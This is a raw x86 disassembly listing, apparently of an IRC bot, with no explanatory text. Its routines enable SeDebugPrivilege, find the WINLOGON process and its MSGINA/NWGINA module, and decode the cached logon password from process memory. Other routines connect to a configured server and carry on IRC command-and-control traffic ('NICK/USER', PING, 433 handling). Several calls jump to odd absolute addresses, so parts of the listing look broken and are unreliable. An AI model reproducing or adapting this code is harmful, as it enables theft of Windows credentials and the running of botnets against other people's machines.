dd 15E85359h, 90022D99h, 555B5E5Fh, 0EC81EC8Bh, 54Ch, 0BE575653h
dd 104h, 8D1875FFh, 0FFFDB885h, 84A068FFh, 50560043h, 51CBE8h
dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh, 0B8858D50h
dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC0BBh, 0F6717400h
dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h
dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh, 0FFFEE885h
dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h, 0FF000051h
dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h
dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh
dd 0E890FC75h, 2368DD8h, 8F75C085h, 0E8FC75FFh, 21D8DCCh
dd 1475FF90h, 0FDB8858Dh, 75FFFFFFh, 50565318h, 5117E8h
dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh
dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h
dd 0FFFFFFFAh, 84681875h, 68004384h, 200h, 50DAE850h, 16A0000h
dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h
dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 8D52E890h, 0C0850236h
dd 9056B175h, 1D8D47E8h, 1C458B02h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4172C1 proc near ; DATA XREF: sub_401ACD+1C72o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41AE41
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_417300
cmp eax, 2
jz short loc_417300
push offset unk_438678
jmp loc_41743F
; ---------------------------------------------------------------------------
loc_417300: ; CODE XREF: sub_4172C1+2Ej
; sub_4172C1+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
test eax, eax
pop ecx
jz loc_41743A
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call near ptr 26B0AD3h
nop
mov esi, dword_4270C4
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D483C, eax
call esi
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D4830, eax
call esi
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4D4A40, eax
call esi
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D4838, eax
call esi
mov dword_4D4834, eax
call sub_417493
test eax, eax
mov [ebp+arg_0], eax
jz loc_41740D
mov esi, dword_427148
mov edi, 400h
mov ebx, offset dword_4D3830
push edi
push ebx
push offset off_4385B4
call esi
push edi
mov edi, offset dword_4D4030
push edi
push offset off_43859C
call esi
cmp [ebp+var_4], 1
push offset dword_4D4A48
push [ebp+arg_0]
jnz short loc_4173B9
call sub_41761C
jmp short loc_4173BE
; ---------------------------------------------------------------------------
loc_4173B9: ; CODE XREF: sub_4172C1+EFj
call sub_4177C3
loc_4173BE: ; CODE XREF: sub_4172C1+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_417406
cmp dword_4D4A48, 0
jnz short loc_4173ED
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_438540
push 200h
push eax
call sub_41C360
add esp, 18h
jmp short loc_417420
; ---------------------------------------------------------------------------
loc_4173ED: ; CODE XREF: sub_4172C1+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_4173FD
call sub_4178F9
jmp short loc_417402
; ---------------------------------------------------------------------------
loc_4173FD: ; CODE XREF: sub_4172C1+133j
call sub_417990
loc_417402: ; CODE XREF: sub_4172C1+13Aj
pop ecx
push eax
jmp short loc_417412
; ---------------------------------------------------------------------------
loc_417406: ; CODE XREF: sub_4172C1+101j
push offset unk_438508
jmp short loc_417412
; ---------------------------------------------------------------------------
loc_41740D: ; CODE XREF: sub_4172C1+B6j
push offset unk_4384DC
loc_417412: ; CODE XREF: sub_4172C1+143j
; sub_4172C1+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_417420: ; CODE XREF: sub_4172C1+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
push [ebp+var_8]
nop
call near ptr 27C0000h
pop ebx
jmp short loc_41744D
; ---------------------------------------------------------------------------
loc_41743A: ; CODE XREF: sub_4172C1+4Ej
push offset unk_4384A8
loc_41743F: ; CODE XREF: sub_4172C1+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41744D: ; CODE XREF: sub_4172C1+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_417474
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409869
add esp, 14h
loc_417474: ; CODE XREF: sub_4172C1+191j
lea eax, [ebp+var_29C]
push eax
call sub_415D38
push [ebp+var_18]
call sub_40B6D6
pop ecx
pop ecx
push esi
nop
call near ptr 26F0A80h
pop edi
pop esi
sub_4172C1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417493 proc near ; CODE XREF: sub_4172C1+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_427154
mov ebx, 100h
push edi
push ebx
push 8
call esi
mov edi, dword_427150
push eax
call edi
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D483C
push ebp
push 0
call esi
push eax
nop
call near ptr 27D0000h
push [esp+28h+var_14]
push 8
call esi
push eax
call edi
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D483C
test eax, eax
jnz short loc_417580
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_417580
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_417580
loc_41751C: ; CODE XREF: sub_417493+EBj
cmp word ptr [ebx+8], 5
jnz short loc_417573
push 0
push 0
call dword_4D4830
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D4A40
test eax, eax
jnz short loc_417564
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_417598
loc_417564: ; CODE XREF: sub_417493+AAj
test edi, edi
jz short loc_41756F
push edi
call dword_4D4838
loc_41756F: ; CODE XREF: sub_417493+D3j
mov eax, [esp+28h+var_10]
loc_417573: ; CODE XREF: sub_417493+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_41751C
loc_417580: ; CODE XREF: sub_417493+6Dj
; sub_417493+7Aj ...
xor edi, edi
loc_417582: ; CODE XREF: sub_417493+17Dj
push ebp
push 0
call esi
push eax
nop
call near ptr 27D0000h
mov eax, edi
loc_417590: ; CODE XREF: sub_417493+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_417598: ; CODE XREF: sub_417493+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_417601
lea eax, [edi+80h]
mov [esp+28h+var_18], eax
loc_4175AE: ; CODE XREF: sub_417493+16Cj
add [esp+28h+var_18], 11Ch
push offset aNwgina ; "NWGINA"
push [esp+2Ch+var_18]
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_417615
push offset aMsgina ; "MSGINA"
push [esp+2Ch+var_18]
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4175F3
mov eax, [ebx+4]
mov [esp+28h+var_4], eax
loc_4175F3: ; CODE XREF: sub_417493+157j
inc [esp+28h+var_10]
mov eax, [esp+28h+var_10]
cmp eax, [esp+28h+var_8]
jb short loc_4175AE
loc_417601: ; CODE XREF: sub_417493+10Fj
test edi, edi
jz short loc_41760C
push edi
call dword_4D4838
loc_41760C: ; CODE XREF: sub_417493+170j
mov edi, [esp+28h+var_4]
jmp loc_417582
; ---------------------------------------------------------------------------
loc_417615: ; CODE XREF: sub_417493+13Cj
xor eax, eax
jmp loc_417590
sub_417493 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41761C proc near ; CODE XREF: sub_4172C1+F1p
var_64 = byte ptr -64h
var_60 = dword ptr -60h
var_40 = byte ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2B = byte ptr -2Bh
var_24 = byte ptr -24h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push esi
xor esi, esi
push [ebp+arg_0]
mov [ebp+var_10], esi
push esi
push 410h
nop
call near ptr 26902E0h
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_417645
xor eax, eax
jmp loc_4177C0
; ---------------------------------------------------------------------------
loc_417645: ; CODE XREF: sub_41761C+20j
mov eax, [ebp+arg_4]
push ebx
push edi
mov [eax], esi
lea eax, [ebp+var_64]
push eax
nop
call near ptr 27F02F6h
push [ebp+var_60]
mov [ebp+var_8], esi
mov esi, dword_427154
push 8
call esi
mov edi, dword_427150
push eax
call edi
lea ecx, [ebp+var_8]
mov ebx, dword_42715C
push ecx
mov [ebp+arg_0], eax
push [ebp+var_60]
push eax
push 7FFDF000h
push [ebp+var_4]
call ebx
test eax, eax
jnz short loc_417695
xor esi, esi
jmp loc_4177B3
; ---------------------------------------------------------------------------
loc_417695: ; CODE XREF: sub_41761C+70j
lea eax, [ebp+var_40]
push 1Ch
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push [ebp+var_4]
nop
call near ptr 27E0C53h
test eax, eax
jz loc_4177A2
mov ecx, [ebp+var_30]
mov eax, 1000h
and ecx, eax
cmp ecx, eax
jnz loc_4177A2
test [ebp+var_2B], 1
jnz loc_4177A2
push [ebp+var_34]
push 8
call esi
push eax
call edi
mov edi, eax
lea eax, [ebp+var_8]
push eax
mov eax, [ebp+arg_0]
push [ebp+var_34]
mov [ebp+var_C], edi
push edi
push dword ptr [eax+18h]
push [ebp+var_4]
call ebx
test eax, eax
jz loc_4177A2
loc_4176F8: ; CODE XREF: sub_41761C+112j
push edi
push offset dword_4D3830
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jnz short loc_417720
lea eax, [edi+200h]
push eax
push offset dword_4D4030
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jz short loc_417730
loc_417720: ; CODE XREF: sub_41761C+EBj
mov eax, [ebp+var_34]
mov ecx, [ebp+var_C]
inc edi
add eax, ecx
inc edi
cmp edi, eax
jnb short loc_4177A2
jmp short loc_4176F8
; ---------------------------------------------------------------------------
loc_417730: ; CODE XREF: sub_41761C+102j
test edi, edi
jz short loc_4177A2
lea eax, [ebp+var_14]
push eax
lea eax, [edi+410h]
push eax
call near ptr 27705BFh
nop
test eax, eax
jz short loc_41776B
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_14]
push eax
nop
call near ptr 2770000h
test eax, eax
jz short loc_41776B
mov al, [edi+42Ch]
mov ecx, [ebp+arg_4]
shr eax, 1
and eax, 7Fh
mov [ecx], eax
loc_41776B: ; CODE XREF: sub_41761C+12Bj
; sub_41761C+13Dj
movzx eax, word ptr [edi+42Ch]
shr eax, 8
mov dword_4D4A54, eax
mov eax, [ebp+arg_0]
mov [ebp+var_10], 1
mov eax, [eax+18h]
sub eax, [ebp+var_C]
lea eax, [eax+edi+434h]
add edi, 434h
mov dword_4D4A4C, eax
mov dword_4D4A50, edi
loc_4177A2: ; CODE XREF: sub_41761C+90j
; sub_41761C+A2j ...
push [ebp+arg_0]
push 0
call esi
push eax
nop
call near ptr 27D0000h
mov esi, [ebp+var_10]
loc_4177B3: ; CODE XREF: sub_41761C+74j
push [ebp+var_4]
call near ptr 2670770h
nop
pop edi
mov eax, esi
pop ebx
loc_4177C0: ; CODE XREF: sub_41761C+24j
pop esi
leave
retn
sub_41761C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4177C3 proc near ; CODE XREF: sub_4172C1:loc_4173B9p
var_4C = byte ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_13 = byte ptr -13h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push [ebp+arg_0]
push 0
push 410h
nop
call near ptr 26902E0h
test eax, eax
mov [ebp+arg_0], eax
jz loc_4178B5
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
lea eax, [ebp+var_4C]
push eax
call near ptr 27F02F6h
nop
mov ebx, [ebp+var_44]
mov eax, [ebp+var_40]
cmp ebx, eax
mov [ebp+var_C], eax
jnb loc_4178AC
mov edi, dword_427154
loc_41780E: ; CODE XREF: sub_4177C3+E3j
lea eax, [ebp+var_28]
push 1Ch
push eax
push ebx
push [ebp+arg_0]
nop
call near ptr 27E0C53h
test eax, eax
jz short loc_41789A
mov edx, [ebp+var_18]
mov ecx, [ebp+var_1C]
mov eax, 1000h
mov [ebp+var_4], ecx
and edx, eax
cmp edx, eax
jnz short loc_4178A0
test [ebp+var_13], 1
jnz short loc_4178A0
push ecx
push 8
call edi
push eax
call near ptr 27E0000h
nop
mov esi, eax
lea eax, [ebp+var_8]
push eax
and [ebp+var_8], 0
push [ebp+var_1C]
push esi
push ebx
push [ebp+arg_0]
nop
call near ptr 27F0000h
test eax, eax
jz short loc_41788C
push offset dword_4D3830
push esi
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jnz short loc_41788C
lea eax, [esi+400h]
push offset dword_4D4030
push eax
call sub_4263E5
pop ecx
test eax, eax
pop ecx
jz short loc_4178BC
loc_41788C: ; CODE XREF: sub_4177C3+9Fj
; sub_4177C3+B0j
push esi
push 0
call edi
push eax
nop
call near ptr 27D0000h
jmp short loc_4178A0
; ---------------------------------------------------------------------------
loc_41789A: ; CODE XREF: sub_4177C3+5Dj
mov eax, [ebp+var_48]
mov [ebp+var_4], eax
loc_4178A0: ; CODE XREF: sub_4177C3+71j
; sub_4177C3+77j ...
add ebx, [ebp+var_4]
cmp ebx, [ebp+var_C]
jb loc_41780E
loc_4178AC: ; CODE XREF: sub_4177C3+3Fj
push [ebp+arg_0]
nop
call near ptr 2670770h
loc_4178B5: ; CODE XREF: sub_4177C3+1Ej
xor eax, eax
loc_4178B7: ; CODE XREF: sub_4177C3+134j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4178BC: ; CODE XREF: sub_4177C3+C7j
add ebx, 800h
lea eax, [esi+800h]
xor ecx, ecx
mov dword_4D4A4C, ebx
mov dword_4D4A50, eax
cmp [eax], cl
jnz short loc_4178DE
cmp [eax+1], cl
jz short loc_4178E6
loc_4178DE: ; CODE XREF: sub_4177C3+114j
; sub_4177C3+121j
inc ecx
inc eax
inc eax
cmp byte ptr [eax], 0
jnz short loc_4178DE
loc_4178E6: ; CODE XREF: sub_4177C3+119j
mov eax, [ebp+arg_4]
push [ebp+arg_0]
mov [eax], ecx
nop
call near ptr 2670770h
push 1
pop eax
jmp short loc_4178B7
sub_4177C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178F9 proc near ; CODE XREF: sub_4172C1+135p
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4D4A48
push esi
mov esi, dword_427154
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi
push eax
nop
call near ptr 27E0000h
mov ecx, dword_4D4A48
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_4D4A50
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4D4A54
push eax
call dword_4D4834
push [ebp+var_4]
mov edi, offset dword_4D4840
push offset dword_4D3830
push offset dword_4D4030
push [ebp+arg_0]
push offset dword_4386C4
push 200h
push edi
call sub_41C360
add esp, 1Ch
push [ebp+var_4]
push 0
call esi
push eax
call near ptr 27D0000h
nop
mov eax, edi
pop edi
pop esi
leave
retn
sub_4178F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417990 proc near ; CODE XREF: sub_4172C1:loc_4173FDp
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4D4A48
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
nop
call near ptr 27E0B98h
push eax
nop
call near ptr 27E0000h
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D4030
mov edi, 200h
mov esi, offset dword_4D3630
loc_4179D6: ; CODE XREF: sub_417990+FAj
mov eax, dword_4D4A48
add eax, eax
push eax
push dword_4D4A50
push [ebp+var_14]
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4D4834
mov eax, dword_4D4A48
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_417A4B
loc_417A13: ; CODE XREF: sub_417990+B3j
cmp [ebp+var_8], 0
jz short loc_417A68
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417A37
cmp byte ptr [ecx+1], 0
jnz short loc_417A37
cmp dl, 20h
jnb short loc_417A31
and [ebp+var_8], 0
loc_417A31: ; CODE XREF: sub_417990+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417A3B
loc_417A37: ; CODE XREF: sub_417990+90j
; sub_417990+96j
and [ebp+var_8], 0
loc_417A3B: ; CODE XREF: sub_417990+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_417A13
cmp [ebp+var_8], 0
jz short loc_417A68
loc_417A4B: ; CODE XREF: sub_417990+81j
push [ebp+var_14]
push offset dword_4D3830
push ebx
push [ebp+arg_0]
push offset dword_4386C4
push edi
push esi
call sub_41C360
add esp, 1Ch
jmp short loc_417A80
; ---------------------------------------------------------------------------
loc_417A68: ; CODE XREF: sub_417990+87j
; sub_417990+B9j
push offset dword_4D3830
push ebx
push [ebp+arg_0]
push offset dword_438714
push edi
push esi
call sub_41C360
add esp, 18h
loc_417A80: ; CODE XREF: sub_417990+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_4179D6
push [ebp+var_14]
push 0
call near ptr 27E0B98h
nop
push eax
nop
call near ptr 27D0000h
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_417990 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417AA9 proc near ; CODE XREF: sub_417C61+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CBA54
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_417B25
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB9D4
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CBA14
cmp eax, esi
jnz short loc_417B0A
push [ebp+arg_0]
call dword_4CBA58
test eax, eax
jz short loc_417B25
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417B0A: ; CODE XREF: sub_417AA9+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB97C
cmp eax, esi
jnz short loc_417B29
push edi
call dword_4CBA6C
loc_417B25: ; CODE XREF: sub_417AA9+1Bj
; sub_417AA9+58j
mov eax, esi
jmp short loc_417B2B
; ---------------------------------------------------------------------------
loc_417B29: ; CODE XREF: sub_417AA9+73j
mov eax, edi
loc_417B2B: ; CODE XREF: sub_417AA9+7Ej
pop edi
pop esi
leave
retn
sub_417AA9 endp
; =============== S U B R O U T I N E =======================================
sub_417B2F proc near ; CODE XREF: sub_401ACD+324Cp
; sub_401ACD+32B6p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_42A080 ; "\n"
push edi
call sub_41C8A0
pop ecx
mov esi, offset dword_4D4A5C
pop ecx
loc_417B47: ; CODE XREF: sub_417B2F+42j
cmp dword ptr [esi-4], 1
jnz short loc_417B65
cmp dword ptr [esi], 0
jbe short loc_417B65
push 0
push edi
call sub_41B9C0
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4CBA24
loc_417B65: ; CODE XREF: sub_417B2F+1Cj
; sub_417B2F+21j
add esi, 210h
cmp esi, offset dword_4DB17C
jl short loc_417B47
pop edi
pop esi
retn
sub_417B2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B76 proc near ; CODE XREF: sub_417C61+155p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42CDC0 ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41CAD4
pop ecx
mov [ebp+var_20], eax
pop ecx
lea edi, [ebp+var_1C]
push 7
pop ebx
loc_417B9B: ; CODE XREF: sub_417B76+35j
push esi
push 0
call sub_41CAD4
mov [edi], eax
pop ecx
add edi, 4
dec ebx
pop ecx
jnz short loc_417B9B
mov esi, [ebp+var_1C]
xor edi, edi
cmp [ebp+var_20], edi
jnz short loc_417BC3
cmp esi, edi
jnz short loc_417BC3
push 1
pop eax
jmp loc_417C5C
; ---------------------------------------------------------------------------
loc_417BC3: ; CODE XREF: sub_417B76+3Fj
; sub_417B76+43j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41CA50
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_417BDE
push offset dword_43932C
jmp short loc_417C2C
; ---------------------------------------------------------------------------
loc_417BDE: ; CODE XREF: sub_417B76+5Fj
push offset a433 ; "433"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_417BFF
push esi
push offset dword_439328
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_417C5A
loc_417BFF: ; CODE XREF: sub_417B76+76j
push 200h
lea eax, [ebp+var_420]
push edi
push eax
call sub_41BF70
lea eax, [ebp+var_420]
push eax
call sub_417E84
add esp, 10h
lea eax, [ebp+var_420]
push eax
push offset dword_43931C
loc_417C2C: ; CODE XREF: sub_417B76+66j
lea eax, [ebp+var_220]
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4CBA24
loc_417C5A: ; CODE XREF: sub_417B76+87j
xor eax, eax
loc_417C5C: ; CODE XREF: sub_417B76+48j
pop edi
pop esi
pop ebx
leave
retn
sub_417B76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C61 proc near ; DATA XREF: sub_417E06+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41C500
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4D4A64[esi]
mov dword_4D4A58[esi], edi
push dword_4D4C64[esi]
push eax
call sub_417AA9
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D4A5C[esi], eax
jb loc_417DE6
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41BF70
lea eax, [ebp+var_2008]
push eax
call sub_417E84
lea eax, [ebp+var_4008]
push eax
call sub_417E84
lea eax, [ebp+var_3008]
push eax
call sub_417E84
add esp, 18h
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4D4A5C[esi]
call dword_4CBA24
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
loc_417D3D: ; CODE XREF: sub_417C61+111j
; sub_417C61+180j
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4D4A5C[esi]
call dword_4CB9EC
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417DE6
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_417D3D
loc_417D74: ; CODE XREF: sub_417C61+17Ej
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_417D9B
cmp al, 0Ah
jz short loc_417D9B
cmp [ebp+arg_0], 0FA0h
jz short loc_417D9B
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417DD5
; ---------------------------------------------------------------------------
loc_417D9B: ; CODE XREF: sub_417C61+11Cj
; sub_417C61+120j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417DD5
push dword_4D4A5C[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_417B76
pop ecx
test eax, eax
pop ecx
ja short loc_417DE6
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417DD5: ; CODE XREF: sub_417C61+138j
; sub_417C61+13Fj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_417D74
jmp loc_417D3D
; ---------------------------------------------------------------------------
loc_417DE6: ; CODE XREF: sub_417C61+40j
; sub_417C61+107j ...
mov dword_4D4A58[esi], ebx
mov esi, dword_4D4A5C[esi]
cmp esi, ebx
jbe short loc_417DFD
push esi
call dword_4CBA6C
loc_417DFD: ; CODE XREF: sub_417C61+193j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_417C61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E06 proc near ; CODE XREF: sub_401ACD+319Bp
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417E7F
loc_417E18: ; CODE XREF: sub_417E06+77j
xor edi, edi
mov eax, offset dword_4D4A58
loc_417E1F: ; CODE XREF: sub_417E06+28j
cmp [eax], ebx
jz short loc_417E30
add eax, 210h
inc edi
cmp eax, offset dword_4DB178
jl short loc_417E1F
loc_417E30: ; CODE XREF: sub_417E06+1Bj
cmp edi, 31h
jz short loc_417E7F
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4D4A64[esi]
push eax
call sub_41C890
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D4C64[esi], eax
pop ecx
lea eax, [ebp+var_8]
